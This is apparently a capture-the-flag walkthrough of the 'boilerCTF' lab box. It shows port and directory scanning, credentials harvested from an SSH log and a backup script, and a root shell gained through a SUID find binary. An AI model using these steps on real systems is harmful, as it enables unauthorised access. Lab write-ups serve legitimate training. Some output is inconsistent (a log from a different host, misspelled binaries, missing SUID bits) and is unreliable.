

This box contains many rabbit holes and fun mind games, but this write-up will focus on the direct path to solving it.

We began with an Nmap scan, which revealed the following open ports:
21 (FTP), 80 (HTTP), 10000 (Webmin/HTTP), and 55007 (SSH).

```

root@kali: ~/Desktop/boxes/boilerCTF
# nmap -p- -sV -sC -oA scan 10.10.119.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 18:38 EDT
Nmap scan report for 10.10.119.139
Host is up (0.022s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to ::ffff:10.14.98.178
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_At session startup, client count was 2
|_vsftpd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-robots.txt: 1 disallowed entry
|_/
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
10000/tcp open  http     MiniServ 1.930 (Webmin httpd)
|_http-server-header: MiniServ/1.930
|_http-title: Site doesn't have a title (text/html; Charset-iso-8859-1).
55007/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_2048 e3:ab:el:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
|_256 ae:df:f2:bb:74:8a:08:70:20:74:56:76:25:c8:df:38 (ECDSA)
|_256 25:25:a3:f2:a7:75:8a:a0:46:b2:12:70:84:68:5c:cb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.02 seconds

```

Next, we ran a Feroxbuster scan with a depth of 2 to discover hidden directories:

feroxbuster -u <http://10.10.119.139/joomla> -w ../../wordlist/SecLists/Discovery/Web-Content/common.txt -x php,html,txt --filter-status 403,404 --depth 2

```

301 GET 9l 28w 325c http://10.10.119.139/joomla/libraries => http://10.10.119.139/joomla/libraries/
301 GET 9l 28w 325c http://10.10.119.139/joomla/templates => http://10.10.119.139/joomla/templates/
301 GET 9l 28w 334c http://10.10.119.139/joomla/installation/cache => http://10.10.119.139/joomla/installation/cache/
301 GET 9l 28w 339c http://10.10.119.139/joomla/tmp => http://10.10.119.139/joomla/tmp/
301 GET 9l 28w 339c http://10.10.119.139/joomla/installation/controller => http://10.10.119.139/joomla/installation/controller/
301 GET 9l 28w 331c http://10.10.119.139/joomla/plugins/captcha => http://10.10.119.139/joomla/plugins/captcha/
301 GET 9l 28w 338c http://10.10.119.139/joomla/plugins/authentication => http://10.10.119.139/joomla/plugins/authentication/
301 GET 9l 28w 331c http://10.10.119.139/joomla/plugins/content => http://10.10.119.139/joomla/plugins/content/
200 GET 36l 98w 1899c http://10.10.119.139/joomla/web.config.txt
301 GET 9l 28w 321c http://10.10.119.139/joomla/tests => http://10.10.119.139/joomla/tests/
200 GET 27l 56w 2692c http://10.10.119.139/joomla/installation/favicon.ico
301 GET 9l 28w 331c http://10.10.119.139/joomla/plugins/editors => http://10.10.119.139/joomla/plugins/editors/
301 GET 9l 28w 335c http://10.10.119.139/joomla/administrator/cache => http://10.10.119.139/joomla/administrator/cache/
301 GET 9l 28w 340c http://10.10.119.139/joomla/administrator/components => http://10.10.119.139/joomla/administrator/components/
301 GET 9l 28w 333c http://10.10.119.139/joomla/plugins/extension => http://10.10.119.139/joomla/plugins/extension/
301 GET 9l 28w 338c http://10.10.119.139/joomla/plugins/fields => http://10.10.119.139/joomla/plugins/fields/
301 GET 9l 28w 328c http://10.10.119.139/joomla/www => http://10.10.119.139/joomla/www/
301 GET 9l 28w 335c http://10.10.119.139/joomla/installation/helper => http://10.10.119.139/joomla/installation/helper/
301 GET 9l 28w 333c http://10.10.119.139/joomla/installation/html => http://10.10.119.139/joomla/installation/html/
200 GET 86l 432w 4802c http://10.10.119.139/joomla/_test/index.php
200 GET 1l 2w 31c http://10.10.119.139/joomla/plugins/index.html
301 GET 9l 28w 333c http://10.10.119.139/joomla/plugins/installer => http://10.10.119.139/joomla/plugins/installer/
301 GET 9l 28w 337c http://10.10.119.139/joomla/installation/language => http://10.10.119.139/joomla/installation/language/
200 GET 8l 97w 716c http://10.10.119.139/joomla/_test/index.php
301 GET 9l 28w 333c http://10.10.119.139/joomla/installation/form => http://10.10.119.139/joomla/installation/form/
200 GET 16l 1234w 84362c http://10.10.119.139/joomla/_test/sarFile/jquery-1.5.min.js
200 GET 89l 334w 58808c http://10.10.119.139/joomla/installation/index.php
301 GET 9l 28w 334c http://10.10.119.139/joomla/administrator/help => http://10.10.119.139/joomla/administrator/help/
301 GET 9l 28w 338c http://10.10.119.139/joomla/administrator/includes => http://10.10.119.139/joomla/administrator/includes/
200 GET 180l 339w 5161c http://10.10.119.139/joomla/administrator/index.php
301 GET 9l 28w 334c http://10.10.119.139/joomla/installation/model => http://10.10.119.139/joomla/installation/model/
301 GET 9l 28w 338c http://10.10.119.139/joomla/administrator/language => http://10.10.119.139/joomla/administrator/language/
301 GET 9l 28w 334c http://10.10.119.139/joomla/administrator/logs => http://10.10.119.139/joomla/administrator/logs/
200 GET 1l 2w 31c http://10.10.119.139/joomla/layouts/index.html
301 GET 9l 28w 329c http://10.10.119.139/joomla/libraries/cms => http://10.10.119.139/joomla/libraries/cms/

```

Analyzing the results, we discovered an interesting directory, and when visiting it we found credentials that allowed us to SSH into the box.

```

Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for pentest from 10.1.1.1 port 49824 ssh2 #pass: superduperpassword
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

```

Upon logging in, we found a script named backup.sh that contained credentials for another user.

```
root@kali: ~# ssh basterd@10.10.119.139 -p 55007
basterd@10.10.119.139's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

8 packages can be updated.
8 updates are security updates.

Last login: Sat Apr 12 03:22:15 2025 from 10.14.90.178
$ ls
backup.sh
$ cat backup.sh
REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck.log

DATE=`date +%Y%\Xm%\Xd`.`

USER=stoner
# echo "000-000-000"

ssh $USER@$REMOTE mkdir $TARGET/$DATE

if [ -d "$SOURCE" ]; then
  for i in `ls $SOURCE | grep 'data':`;do
    echo "Beginning copy of" $i >> $LOG
    scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
    echo $i "completed" >> $LOG
    if [ -n "`ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null`" ];then
      rm $SOURCE/$i
      echo $i "removed" >> $LOG
      echo "#####" >> $LOG
    else
      echo "Copy not complete" >> $LOG
    fi
  done
fi
```

Using those credentials, we switched to the second user. Inside their home directory, we found the **user flag** in the .secret file.

For privilege escalation, we noticed that /usr/bin/find had the SUID bit set. We used it to escalate our privileges to root and retrieved the **root flag**.

```
stoner@vulnerable:~$ ls -la
total 24
drwxr-xr-x 4 stoner stoner 4096 Apr 12 03:12 .
drwxr-xr-x 4 root   root   4096 Aug 22 2019 ..
-rw-r--r-- 1 stoner stoner 1351 Apr 12 03:19 .bash_history
drwxr-xr-x 2 stoner stoner 4096 Apr 12 02:50 .cache
drwxrwxr-x 2 stoner stoner 4096 Aug 22 2019 .nano
-rw-r--r-- 1 stoner stoner 34 Aug 21 2019 .secret
stoner@vulnerable:~$ cat .secret
user:st0n3r
stoner@vulnerable:~$ find / -type f -perm -04000 -ls 2>/dev/null
264453 40 -rwxr-xr-x 1 root root 38900 Mar 26 2019 /bin/su
276977 32 -rwxr-xr-x 1 root root 30112 Jul 12 2016 /bin/fusermount
260151 28 -rwxr-xr-x 1 root root 26492 May 15 2019 /bin/amount
260156 36 -rwxr-xr-x 1 root root 34812 May 15 2019 /bin/mount
260172 44 -rwxr-xr-x 1 root root 43316 May 7 2014 /bin/ping6
260171 40 -rwxr-xr-x 1 root root 38932 May 7 2014 /bin/ping
394226 16 -rwxr-xr-x 1 root root 13960 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
410808 16 -rwxr-xr-x 1 root www-data 13692 Apr 3 2019 /usr/lib/apache2/suexec-custom
410805 16 -rwxr-xr-x 1 root www-data 13692 Apr 3 2019 /usr/lib/apache2/suexec-pristine
260181 48 -rwxr-xr-x 1 root messagebus 46436 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
264308 904 -rwxr-xr-x 1 root root 513528 Mar 4 2019 /usr/lib/openssh/ssh-keysign
260699 8 -rwxr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/expect/dmccrypt-get-device
265132 36 -rwxr-xr-x 1 root root 36288 Mar 26 2019 /usr/bin/newgidmap
260428 228 -r-sr-xr-x 1 root root 232196 Feb 8 2016 /usr/bin/find
278157 52 -rwxr-xr-x 1 daemon daemon 50748 Jan 15 2016 /usr/bin/at
261308 40 -rwxr-xr-x 1 root root 39560 Mar 26 2019 /usr/bin/chsh
261304 76 -rwxr-xr-x 1 root root 74280 Mar 26 2019 /usr/bin/chfn
261305 52 -rwxr-xr-x 1 root root 53128 Mar 26 2019 /usr/bin/passwd
260641 36 -rwxr-xr-x 1 root root 34600 Mar 26 2019 /usr/bin/newgrp
261253 160 -rwxr-xr-x 1 root root 159052 Jun 11 2019 /usr/bin/sudo
264477 20 -rwxr-xr-x 1 root root 18216 Mar 27 2019 /usr/bin/pkexec
261306 80 -rwxr-xr-x 1 root root 78012 Mar 26 2019 /usr/bin/gssadd
261313 36 -rwxr-xr-x 1 root root 36288 Mar 26 2019 /usr/bin/newuidmap
stoner@vulnerable:~$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
$ cat /root/root.txt
```